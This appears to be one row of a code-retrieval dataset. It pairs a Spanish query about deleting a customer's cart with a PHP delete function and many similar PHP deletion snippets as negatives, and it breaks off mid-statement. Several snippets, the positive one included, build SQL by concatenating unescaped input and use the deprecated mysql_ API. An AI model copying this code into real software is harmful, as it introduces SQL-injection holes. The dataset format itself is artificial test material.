query
stringlengths
7
5.25k
document
stringlengths
15
1.06M
metadata
dict
negatives
sequencelengths
3
101
negative_scores
sequencelengths
3
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Elimina el carrito de un cliente
function EliminaEncabezadoPedido($CardCode){ if($this->con->conectar()==true){ return mysql_query("DELETE FROM `arquitect_bourne`.`ENC_PedidosSolicitados` WHERE `CardCode` = '" .$CardCode. "'"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function eliminarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function eliminarClientes($idCliente){\n\t\t\t\t\n\t\t\t//SQL\n\t\t\t$query = \"DELETE FROM users WHERE id = $idCliente;\";\n\t\t\t$rst = $this->db->enviarQuery($query,'CUD');\n\t\t\treturn $rst;\n\t\t}", "public function removeAction()\n {\n if ( $this->_hasParam('razaoSocialTomador') == false )\n {\n $this->_redirect('clientes/list');\n }\n \t\t$modelo = new Application_Model_Clientes();\n $razaoSocialTomador = $this->_getParam('razaoSocialTomador');\n $modelo->removeByRazaoSocial($razaoSocialTomador);\n\n// $cnte = $modelo->removeByRazaoSocial($razaoSocialTomador);\n\t\t$this->_redirect('clientes/list');\n // action body\n }", "public function EliminarClientes()\n\t{\n\t\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\t\t$sql = \" select codcliente from ventas where codcliente = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->execute( array(base64_decode($_GET[\"codcliente\"])) );\n\t\t\t$num = $stmt->rowCount();\n\t\t\tif($num == 0)\n\t\t\t{\n\n\t\t\t\t$sql = \" delete from clientes where codcliente = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->bindParam(1,$codcliente);\n\t\t\t\t$codcliente = base64_decode($_GET[\"codcliente\"]);\n\t\t\t\t$stmt->execute();\n\necho \"<div class='alert alert-info'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-check-square-o'></span> EL CLIENTE FUE ELIMINADO EXITOSAMENTE </center>\"; \necho \"</div>\";\n\t\t\t\texit;\n\n\t\t\t} else {\n\necho \"<div class='alert alert-warning'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-info-circle'></span> ESTE CLIENTE NO PUEDE SER ELIMINADO, TIENE VENTAS ASOCIADAS ACTUALMENTE </center>\"; \necho \"</div>\"; \n\t\t\t\texit;\n\t\t\t} \n\n\t\t} else {\n\necho \"<div class='alert alert-warning'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-info-circle'></span> USTED NO TIENE ACCESO PARA ELIMINAR CLIENTES, NO ERES EL ADMINISTRADOR DEL SISTEMA </center>\";\necho \"</div>\";\n\t\t\texit;\n\t\t}\t\n\t}", "public function eliminarPreDetalle(){\n $sql='DELETE FROM predetalle WHERE idCliente = ?';\n $params=array($this->idCliente);\n return Database::executeRow($sql, $params);\n }", "public function delete(){\n return (new Database('cliente'))->delete('id = '.$this->id);\n }", "public function excluirCliente($reg){\n //$conexao = $c->conexao();\n\n $sql = \"DELETE FROM tbclientes WHERE reg = '$reg' \"; \n \n $mensagem = \"O Usuário \".$_SESSION['email'].\" excluiu o Cliente com o REG $reg \";\n $this->salvaLog($mensagem);\n\n return $this->conexao->query($sql); \n \n\n }", "public function deletaCliente($id) {\n }", "function deletePreDetalle(){\n $sql='DELETE FROM predetalle WHERE idCliente = ?';\n $params=array($this->cliente);\n return Database::executeRow($sql, $params);\n }", "public function eliminarCliente($id) {\n $consultaExistenciacliente = $this->db->select(\"SELECT * FROM cliente \"\n . \"WHERE id = '\" . $id . \"' \");\n\n if ($consultaExistenciacliente != null) {\n $this->db->delete('cliente', \"`id` = '{$id}'\");\n } else {\n //Sino Inserto datos de Pre-Matricula del Estudiante\n echo 'Error...</br>Ya existe un cliente con ese ID';\n die;\n }\n }", "public function cliente_delete(){\n\t\t$cliente_id = $this->uri->segment(3);\n\n\t\t$respuesta = $this->Cliente_model->delete($cliente_id);\n\t\t\n\t\t$this->response($respuesta);\n\t}", "function eliminarViajeroInterno(){\n\t\t$this->procedimiento='obingresos.ft_viajero_interno_ime';\n\t\t$this->transaccion='OBING_CVI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_viajero_interno','id_viajero_interno','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function destroy($id_cliente){}", "public function excluir(){\r\n\t\t$instancia = ServicoDAO::getInstancia();\r\n\t\t// executando o metodo //\r\n\t\t$servico = $instancia->excluir($this->getId());\r\n\t\t// retornando o resultado //\r\n\t\treturn $servico;\r\n\t}", "static public function ctrEliminarCliente(){\n\n\t\tif(isset($_GET[\"idCliente\"])){\n\n\t\t\t$idCliente = $_GET[\"idCliente\"];\n\n\t\t\t$respuesta = ModeloClientes::mdlEliminarCliente($idCliente);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"El cliente ha sido borrado correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\n\t\t}\n\n\t}", "function elimina_vetrina()\n {\n $peer = new VetrinaPeer();\n $do = $peer->find_by_id(Params::get(\"id_vetrina\"));\n $peer->delete($do);\n\n $peer2 = new ProdottoServizioVetrinaPeer();\n $peer2->id_vetrina__EQUAL(Params::get(\"id_vetrina\"));\n $elenco_prodotti_servizi = $peer2->find();\n foreach ($elenco_prodotti_servizi as $ps)\n $peer2->delete($ps);\n\n if (is_html())\n return Redirect::success();\n else\n return Result::ok();\n }", "private function eliminarEmpleadoRepetido()\n {\n //Sino me los trata como strings\n $this->empleados = array_unique($this->empleados, SORT_REGULAR);\n }", "public static function ctrEliminarCliente(){\n\n\tif (isset($_GET['idCliente'])) {\n\t\t\n\t\t$tabla = 'clientes';\n\n\t\t$datos = $_GET['idCliente'];\n\n\t\t$respuesta = ModeloCliente::mdlEliminarCliente($tabla, $datos);\n\n\t\tif ($respuesta == 'ok') { \n\n\t\t\t?>\n\n\t\t\t<script>\n\n\t\t\t\tswal({\n\n\t\t\t\t\ttype: \"success\",\n\t\t\t\t\ttitle: \"¡El usuario se eliminó correctamente!\",\n\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\tconfirmButtonText: \"Cerrar\",\n\t\t\t\t\tcloseOnConfirm: false\n\n\t\t\t\t}).then((result)=>{\n\n\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t}\n\n\t\t\t\t});\n\n\n\t\t\t</script> \n\n\t\t\t<?php \n\t\t}\n\t}\n}", "function removeServico($campos){\n\t\t\t$itemID = $campos['InputDelServico'];\n\t\t\tfor($i=0;$i<sizeof($itemID);$i++){\n\t\t\t\t\t\t$sql=\" DELETE FROM vekttor_venda_servico WHERE id = '$itemID[$i]'\";\n\t\t\t\t\t\tmysql_query($sql);\n\t\t\t}\n}", "public static function crtEliminarCliente(){\n if (isset($_GET['idCliente'])) {\n\n $tabla = \"clientes\";\n $datos = $_GET['idCliente'];\n\n $respuesta = ModeloClientes::mdlEliminarCliente($tabla, $datos);\n\n if ($respuesta == \"ok\") {\n\n echo '<script>\n Swal.fire({\n type: \"success\",\n title: \"¡El cliente ha sido borrado correctamente!\",\n showConfirmButton: true,\n confirButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then(function(result){\n if (result.value) {\n window.location = \"clientes\";\n } \n })\n </script>';\n }\n }\n }", "public function tarifClientRemoveAction(Request $request)\n {\n if ($request->isXmlHttpRequest()) {\n $id = $request->request->get('id', '');\n\n $em = $this->getDoctrine()\n ->getManager();\n if ($id != '') {\n try {\n //Suppression\n if ($id != 'new_row') {\n $tarif = $this->getDoctrine()\n ->getRepository('AppBundle:FactTarifClient')\n ->find($id);\n if ($tarif) {\n $em->remove($tarif);\n $em->flush();\n $data = array(\n 'erreur' => false,\n );\n return new JsonResponse(json_encode($data));\n }\n }\n } catch (\\Exception $ex) {\n return new Response($ex->getMessage(), 500);\n }\n\n }\n throw new NotFoundHttpException(\"Tarif introuvable.\");\n } else {\n throw new AccessDeniedException('Accès refusé.');\n }\n }", "function eliminarServicio(){\r\n\t\t$this->procedimiento='gev.f_tgv_servicio_ime';\r\n\t\t$this->transaccion='tgv_SERVIC_ELI';\r\n\t\t$this->tipo_procedimiento='IME';\r\n\t\t\t\t\r\n\t\t//Define los parametros para la funcion\r\n\t\t$this->setParametro('id_servicio','id_servicio','int4');\r\n\r\n\t\t//Ejecuta la instruccion\r\n\t\t$this->armarConsulta();\r\n\t\t$this->ejecutarConsulta();\r\n\r\n\t\t//Devuelve la respuesta\r\n\t\treturn $this->respuesta;\r\n\t}", "public function excluir()\n {\n $pdo = new \\PDO(DSN, USER, PASSWD);\n //cria sql\n $sql = \"DELETE FROM EncontroComDeus WHERE id = ?\n \";\n\n //prepara sql\n $stm = $pdo->prepare($sql);\n //trocar valores\n $stm->bindParam(1, $this->id );\n\n $resposta = $stm->execute();\n\n $erro = $stm->errorInfo();\n\n //fechar conexão\n $pdo = null ;\n\n return $resposta;\n\n }", "static public function ctrBorrarCliente(){\n\n\t\tif(isset($_GET[\"idCliente\"])){\n\n\t\t\t$tabla =\"cliente\";\n\t\t\t$datos = $_GET[\"idCliente\"];\n\n\t\t\tif($_GET[\"fotoCliente\"] != \"\"){\n\n\t\t\t\tunlink($_GET[\"fotoCliente\"]);\n\t\t\t\trmdir('vistas/img/clientes/'.$_GET[\"cliente\"]);\n\n\t\t\t}\n\n\t\t\t$respuesta = ModeloClientes::mdlBorrarCliente($tabla, $datos);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal.fire({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"El Cliente ha sido borrado correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"cliente\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\n\t\t}\n\n\t}", "public function EliminarCaja()\n\t\t{\n\n\t\t\t$sql = \" select codcaja from ventas where codcaja = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->execute( array(base64_decode($_GET[\"codcaja\"])) );\n\t\t\t$num = $stmt->rowCount();\n\t\t\tif($num == 0)\n\t\t\t{\n\n\t\t\t\t$sql = \" delete from cajas where codcaja = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->bindParam(1,$codcaja);\n\t\t\t\t$codcaja = base64_decode($_GET[\"codcaja\"]);\n\t\t\t\t$stmt->execute();\n\n\t\t\t\theader(\"Location: cajas?mesage=1\");\n\t\t\t\texit;\n\n\t\t\t}else {\n\n\t\t\t\theader(\"Location: cajas?mesage=2\");\n\t\t\t\texit;\n\t\t\t}\n\n\t\t}", "protected function removeClient() {\n\n\t\ttry {\n\n\t\t\t$field_id = Request::input('pk');\n\n\t\t\t$contentObj = ConnectContentClient::find($field_id);\n\n\t\t\t$contentObj->removeConnectClient();\n\n\t\t\treturn response()->json(array('code' => 0, 'msg' => 'Success'));\n\n\t\t} catch (\\Exception $ex) {\n\t\t\t\\Log::error($ex);\n\t\t\treturn response()->json(array('code' => -1, 'msg' => $ex->getMessage()));\n\t\t}\n\t}", "public function eliminar() {\n\t\t\n\t\t\n\t\t$juradodni = $_GET[\"dniJurado\"];\n\t\t\n\t\t$this -> JuradoMapper -> delete($juradodni);\n\n\t\t\n\t\t$this -> view -> redirect(\"jurado\", \"listar\");\n\t\t//falta cambiar\n\t}", "public function deleteClient(): void\n {\n $value = $this->getConsoleInput(\n sprintf(\n \"Deleting client using:\\n 0 - %s\\n 1 - %s\\n\",\n $this->fieldsToFill[0]['label'],\n $this->fieldsToFill[1]['label']\n )\n );\n if (null === $value) {\n return;\n }\n $Client = new Client();\n switch ($value) {\n case 0:\n case 1:\n $criteria = $this->generateCriteria((int)$value, $Client);\n break;\n default:\n print \"Invalid field!\\n\";\n\n return;\n break;\n }\n\n if (null === $criteria) {\n return;\n }\n\n try {\n if ($this->repository->deleteBy($criteria, $Client)) {\n print \"Client deleted with success!\\n\";\n } else {\n print \"Error while deleting client.\\n\";\n }\n } catch (QueryException $e) {\n print $e->getMessage();\n }\n }", "public static function eliminarCliente($id_cliente)\n {\n self::$obj_cliente = new Cliente();\n self::$obj_cliente->setId_cliente($id_cliente);\n self::$obj_cliente->setAccion(\"eliminar\");\n return ClienteDao::crudClientes(self::$obj_cliente);\n\n }", "public function eliminar($objeto){\r\n\t}", "function rimuoviCliente($id_cliente){\nif(trovaCliente($id_cliente)){\n mysql_query(\"DELETE utente,sensore,rilevazione FROM utente\nINNER JOIN sensore ON `utente`.`id_cliente` = `sensore`.`id_clienteFK`\nINNER JOIN rilevazione ON `sensore`.`id_sensore` = `rilevazione`.`id_sensoreFK`\nWHERE id_cliente = '\".$id_cliente.\"' \");\n\nreturn true;\n}\n\nelse {\nreturn false;\n}\n}", "public function eliminar($con){\r\n\t\t$sql = \"DELETE FROM lineaspedidos WHERE idPedido='$this->idPedido' AND idProducto='$this->idProducto'\";\r\n\t\t// Ejecuta la consulta y devuelve el resultado\r\n\t\treturn ($con->query($sql));\r\n\t}", "function Eliminar()\n{\n /**\n * Se crea una instanica a Concesion\n */\n $Concesion = new Titulo();\n /**\n * Se coloca el Id del acuifero a eliminar por medio del metodo SET\n */\n $Concesion->setId_titulo(filter_input(INPUT_GET, \"ID\"));\n /**\n * Se manda a llamar a la funcion de eliminar.\n */\n echo $Concesion->delete();\n}", "public function eliminar()\n {\n // Comprobar si esta logeado como admin\n if( isset($_SESSION['admin']) ){\n\n // Capturar el id enviado por GET\n $id = $_GET['id'];\n\n // Comprobar si no esta siendo utilizado en un reporte\n $comprobarForanea = Reporte::donde('tipo_reporte_id', $id)\n ->resultado();\n\n // Encontra el tipo de reporte por el id y capturarlo\n $tipoReporte = TipoReporte::encontrarPorID($id);\n\n\n if ( empty($comprobarForanea) ) {\n\n // Eliminar el tipo de reporte\n $tipoReporte->eliminar();\n\n\n // Guardar un mensaje de que se elimino correctamente en una cookie\n setcookie('mensaje', \"Se elimino correctamente el tipo de reporte ($tipoReporte->reporte)\", time() + 10, '/' );\n\n } else {\n\n // Guardar un mensaje de que se no se pudo eliminar\n setcookie('mensaje_error', \"El tipo de reporte ($tipoReporte->reporte) esta siendo utilizado en un reporte\", time() + 10, '/' );\n }\n\n\n // Redirigir a la tabla con todos los tipos de reporte\n header('Location: ../reportes/tipos_reporte');\n\n } else {\n\n // Redirigir al perfil\n header('Location: ../perfil');\n }\n }", "public function clientDeleted($client)\n\t{\n\t\t//$this->intercomService->deleteIntercomUser($client->getEmail());\n\t}", "function removePacote($campos){\n\t\t\t$listDel = $campos['InputDelPacote'];\t\t\t\n\t\t\t\t\n\t\t\t\tif(!empty($listDel)){\n\t\t\t\t\n\t\t\t\tfor($i=0;$i<sizeof($listDel);$i++){\n\t\t\t\t\t\tif($listDel[$i] != 0){\n\t\t\t\t\t\t\t\t$sql = \" DELETE FROM vekttor_venda_pacote WHERE pacotes_id = '$listDel[$i]' AND vekttor_venda_id = '$campos[venda_id]'\";\n\t\t\t\t\t\t\t\t//echo $sql;\n\t\t\t\t\t\t\t\tmysql_query($sql);\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t/*Seleciona os pacote para trazer os modulos */\n\t\t\t\t\t$sqlPacote = mysql_query($tn=\" SELECT * FROM pacote_item WHERE pacote_id = '$listDel[$i]' \");\n\t\t\t\t\t\twhile($pct=mysql_fetch_object($sqlPacote)){\n\t\t\t\t\t\t\t\t$modulos[] = $pct->sis_modulo_id;\n\t\t\t\t\t\t}\n\t\t\t\t} /*Fim de For*/\n\t\t\t\t\n\t\t\t\t\tfor($j=0;$j<sizeof($modulos);$j++){\n\t\t\t\t\t\t\t$sqlModulos = \" DELETE FROM usuario_tipo_modulo WHERE modulo_id = '$modulos[$j]' AND usuario_tipo_id = '$campos[id_usuario_tipo]'\";\n\t\t\t\t\t\t\tmysql_query($sqlModulos);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n}", "public function Eliminar(){\n\t\t\t$enlace = AccesoBD::Conexion();\n\n\t\t\t$sql = \"DELETE FROM denuncia WHERE ID_DENUNCIA = '$this->idDenuncia'\";\n\n\t\t\tif ($enlace->query($sql) !== TRUE) {\n \t\t\techo \"Error al eliminar la denuncia\";\n \t\t\texit();\n\t\t\t}\n\t\t\techo \"Denuncia eliminada\";\n\t\t}", "public static function eliminar(){\n if ($_SERVER['REQUEST_METHOD'] === 'POST') {\n $cita = Cita::find($_POST['id']);\n $cita->eliminar();\n header('Location:' . $_SERVER['HTTP_REFERER']);\n }\n }", "function eliminarHerrajeaccesorio(){\n\t\t$this->procedimiento='snx.ft_herrajeaccesorio_ime';\n\t\t$this->transaccion='SNX_HAC_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_herrajeaccesorio','id_herrajeaccesorio','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function EliminarProveedores()\n\t\t{\n\t\t\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\t\t\t$sql = \" select codproveedor from compras where codproveedor = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->execute( array(base64_decode($_GET[\"codproveedor\"])) );\n\t\t\t\t$num = $stmt->rowCount();\n\t\t\t\tif($num == 0)\n\t\t\t\t{\n\n\t\t\t\t\t$sql = \" delete from proveedores where codproveedor = ? \";\n\t\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t\t$stmt->bindParam(1,$codproveedor);\n\t\t\t\t\t$codproveedor = base64_decode($_GET[\"codproveedor\"]);\n\t\t\t\t\t$stmt->execute();\n\n\t\t\t\t\theader(\"Location: proveedores?mesage=1\");\n\t\t\t\t\texit;\n\n\t\t\t\t}else {\n\n\t\t\t\t\theader(\"Location: proveedores?mesage=2\");\n\t\t\t\t\texit;\n\t\t\t\t} \n\n\t\t\t} else {\n\n\t\t\t\theader(\"Location: proveedores?mesage=3\");\n\t\t\t\texit;\n\t\t\t}\t\n\t\t}", "public function eliminar() {\n //$this->delete();\n $campo_fecha_eliminacion = self::DELETED_AT;\n $this->$campo_fecha_eliminacion = date('Y-m-d H:i:s');\n $this->status = 0;\n $this->save();\n }", "protected function eliminar_cliente_modelo ($codigo){\n\t\t$query=mainModel::conectar()->prepare(\"DELETE FROM cliente WHERE CuentaCodigo =:Codigo\");\n\t\t$query->bindParam(\":Codigo\",$codigo);\n\t\t$query->execute();\n\t\treturn $query;\n\t}", "function borrar(){\n $id=$_POST[\"id\"];\n $consulta=\"DELETE FROM usuarios WHERE id = \".$id.\"\";\n echo $consulta. \"<br>\";\n \n\n $resultado = $conector->query($consulta);\n mostrarListado();\n }", "function eliminar_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $conexion){\n $idcompania = base64_decode($_GET['idcompania']);\n $idpoliza = base64_decode($_GET['idpoliza']);\t\n\tif(isset($_POST['btnEliminar'])) {\n\t\t\n\t\t$update =\"delete from s_poliza where id_poliza = \".$idpoliza.\" and id_compania=\".$idcompania.\" LIMIT 1\";\n\t\t\n\n\t\tif($conexion->query($update)===TRUE){\n\t\t\t//SE METIO A TBLHOMENOTICIAS, VAMOS A VER LA NOTICIA NUEVA\n\t\t\t$mensaje='se elimino el numero de poliza correctamente';\n\t\t\theader('Location: index.php?l=des_poliza&var='.$_GET['var'].'&op=1&msg='.$mensaje);\n\t\t} else{\n\t\t\t$mensaje=\"Hubo un error al ingresar los datos, consulte con su administrador \".$conexion->errno. \": \". $conexion->error;\n\t\t\theader('Location: index.php?l=des_poliza&var='.$_GET['var'].'&op=2&msg='.$mensaje);\n\t\t} \n\t}else {\n\t\t//MOSTRAMOS EL FORMULARIO PARA DAR BAJA COMPANIA\n\t\tmostrar_eliminar_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $conexion);\n\t}\n\t\n}", "function eliminarCuentaBancaria(){\n\t\t$this->procedimiento='tes.f_cuenta_bancaria_ime';\n\t\t$this->transaccion='TES_CTABAN_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cuenta_bancaria','id_cuenta_bancaria','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function excluir(){\r\n return (new Database('cartao'))->delete('id = '.$this->id);\r\n }", "function remove() {\n\t\t$option = JRequest::getCmd('option');\n\t\t// Se obtienen los ids de los registros a borrar\n\t\t$cids = JRequest::getVar('cid', array(0), 'post', 'array');\n $product_type_code = JRequest::getVar('product_type_code');\n\n\t\t// Lanzar error si no se ha seleccionado al menos un registro a borrar\n if (count($cids) < 1 || !$product_type_code) {\n\t\t\tJError::raiseError(500, JText::_('CP.SELECT_AN_ITEM_TO_DELETE'));\n\t\t}\n\n\t\t// Se obtiene el modelo\n\t\t$model = $this->getModel('comments');\n\t\t// Se intenta el borrado\n\t\tif ($model->delete($cids, $product_type_code)) {\n\t\t\t$msg = JText::_('CP.DATA_DELETED');\n\t\t\t$type = 'message';\n\t\t} else {\n\t\t\t// Si hay algún error se ajusta el mensaje\n\t\t\t$msg = $model->getError();\n\t\t\tif (!$msg) {\n\t\t\t\t$msg = JText::_('CP.ERROR_ONE_OR_MORE_DATA_COULD_NOT_BE_DELETED');\n\t\t\t}\n\t\t\t$type = 'error';\n\t\t}\n\n\t\t$this->setRedirect('index.php?option=' . $option . '&view=comments', $msg, $type);\n\t}", "public function eliminarderivoAction()\n {\n $this->disableAutoRender();\n\n /* Recibo la lista de Ids separado por comas */\n $idList = $this->_getParam('id');\n\n if ($idList) {\n /* Convierto la lista a un Array */\n $idArray = explode (\",\", $idList);\n\n /* Recorro el array eliminando cada Id */\n foreach ($idArray as $id) {\n try {\n $resultado = $this->_modeloDerivotemporal->eliminar($id, $this->_usuario);\n\t\t\t\t\t\n if($resultado == 0) { /* Si no se eliminó */\n echo 'error|No está autorizado a eliminar este registro'; \n exit;\n }\n\t\t\t\t\n\t\t} catch(Exception $ex) {\n $message = $ex->getMessage();\n echo 'error|'.$message;\n }\n }\n }\n }", "public function excluir(){\n\t\tglobal $tabela_links;\n\t\t$consulta = new conexao();\n\t\t$endereco = $consulta->sanitizaString($this->end_link);\n\t\t$funcionalidade_tipo = (int) $this->funcionalidade_tipo;\n\t\t$funcionalidade_id = (int) $this->funcionalidade_id;\n\t\t//echo(\"$endereco\t $funcionalidade_tipo\t$funcionalidade_id\");\n\t\t$consulta->connect();\n\t\t$consulta->solicitar(\"DELETE FROM $tabela_links \n\t\t\t\t\t\t\t\tWHERE endereco = '$endereco'\n\t\t\t\t\t\t\t\tAND funcionalidade_tipo\t= '$funcionalidade_tipo'\n\t\t\t\t\t\t\t\tAND funcionalidade_id\t= '$funcionalidade_id'\");\n\t\t\n\t\n\t}", "function eliminarEmpresa(){\n\t\t$this->procedimiento='dir.f_empresa_ime';\n\t\t$this->transaccion='DIR_EMP_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_empresa','id_empresa','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function delClientUser($id_usuario){\n $sql = new Sql();\n $remCli = $sql->query('DELETE FROM clientes WHERE id_usuario = :id_usuario', array(':id_usuario'=>$id_usuario));\n if(!is_array($remCli)){\n return true;\n }else{\n return false;\n }\n }", "static public function mdlEliminarCliente($tabla,$datos){\n $stmt= Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE id = :id\");\n $stmt->bindParam(\":id\", $datos, PDO::PARAM_INT);\n \n if ($stmt->execute()) {\n return \"ok\";\n }else{\n return \"error\";\n }\n \n $stmt->close();\n $stmt=null;\n }", "public function eliminac($id)\n {\n clientes::find($id)->delete();\n $titulo = \"Desactivar cliente\";\n $mensaje1 = \"El cliente a sido desactivado correctamente\";\n return view ('cliente.mensaje1')\n ->with('titulo',$titulo)\n ->with('mensaje1',$mensaje1);\n \n }", "function removerCarrinho($id_carrinho)\n {\n $conn = new db_conect();\n $result = $conn->removerCarrinho($id_carrinho);\n return $result;\n }", "public static function eliminarServicio($id_servicio){\n \n $eliminar = Neo4Play::client()->getNode($id_servicio);\t\t\n $eliminar->delete();\t\n \n\t}", "static public function mdlEliminarCliente($tabla, $datos){\n\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE id = :id\");\n\n\t\t$stmt -> bindParam(\":id\", $datos, PDO::PARAM_INT);\n\n\t\tif($stmt -> execute()){\n\n\t\t\treturn \"ok\";\n\t\t\n\t\t}else{\n\n\t\t\treturn \"error\";\t\n\n\t\t}\n\n\t\t$stmt -> close();\n\n\t\t$stmt = null;\n\n\t}", "public function eliminarAction()\n {\n $this->disableAutoRender();\n\n /* Recibo la lista de Ids separado por comas */\n $idList = $this->_getParam('id');\n\n if ($idList) {\n /* Convierto la lista a un Array */\n $idArray = explode (\",\", $idList);\n\n /* Recorro el array eliminando cada Id */\n foreach ($idArray as $id) {\n try {\n $resultado = $this->_modeloMovimiento->eliminar($id, $this->_usuario);\n \n if($resultado == 0) { /* Si no se eliminó */\n echo 'error|No está autorizado a eliminar este registro'; \n exit;\n }\n \n \n } catch(Exception $ex) {\n $message = $ex->getMessage();\n echo 'error|'.$message;\n }\n }\n }\n }", "function runEliminar(){\n \n $sql = \"DELETE FROM mec_met WHERE id_mecanismos IN (SELECT id_mecanismos FROM mecanismos WHERE id_componente=\".$this->_datos.\")\";\n $this->QuerySql($sql);\n $sql = \"DELETE FROM mecanismos WHERE id_componente=\".$this->_datos;\n $this->QuerySql($sql);\n $sql = \"DELETE FROM componentes WHERE id_componentes=\".$this->_datos;\n $_respuesta = array('Codigo' => 0, \"Mensaje\" => '<strong> OK: </strong> El registro se ha eliminado.');\n try { \n $this->QuerySql($sql);\n }\n catch (exception $e) {\n $_respuesta = array('Codigo' => 99, \"Mensaje\" => $e->getMessage());\n }\n \n print_r(json_encode($_respuesta));\n }", "public function Eliminar()\n {\n $sentenciaSql = \"DELETE FROM \n detalle_orden \n WHERE \n id_detalle_orden = $this->idDetalleOrden\";\n $this->conn->preparar($sentenciaSql);\n $this->conn->ejecutar();\n }", "public function eliminarAerolinea($idaero) {\n//Se obtiene la conexion\n $conn = Conexion::obtenerConexion();\n\n $mensaje = \"\";\n try {\n //Consulta para la eliminacion de datos\n $query = $conn->prepare(\"DELETE FROM tbl_aerolinea where id=?\");\n $query->bindParam(1, $idaero);\n\n $query->execute();\n $mensaje = \"Registro eliminado\";\n }\n catch (Exception $ex) {\n\n $mensaje = $ex->getMessage();\n }\n\n $conn = null;\n return $mensaje;\n }", "public function Eliminar(){\n \n \n if (!$this->model->igualar($_REQUEST['id'])) {//si una categoria no esta asignada la puede eliminar\n \n $this->model->Eliminar($_REQUEST['id']);\n header('Location: ?c=Categoria'); \n }\n else{\n \n header('Location: ?c=Categoria&error'); //de lo contrario no se podra eliminar asta que se elimine el cliente que la tiene\n }\n\n\n\n \n \n \n\n\n\n\n \n \n \n }", "function eliminarCuentaBancaria(){\n\t\t$this->procedimiento='sigep.ft_cuenta_bancaria_ime';\n\t\t$this->transaccion='SIGEP_CUEN_BAN_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cuenta_bancaria_boa','id_cuenta_bancaria_boa','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function opcion__eliminar()\n\t{\n\t\t$id_proyecto = 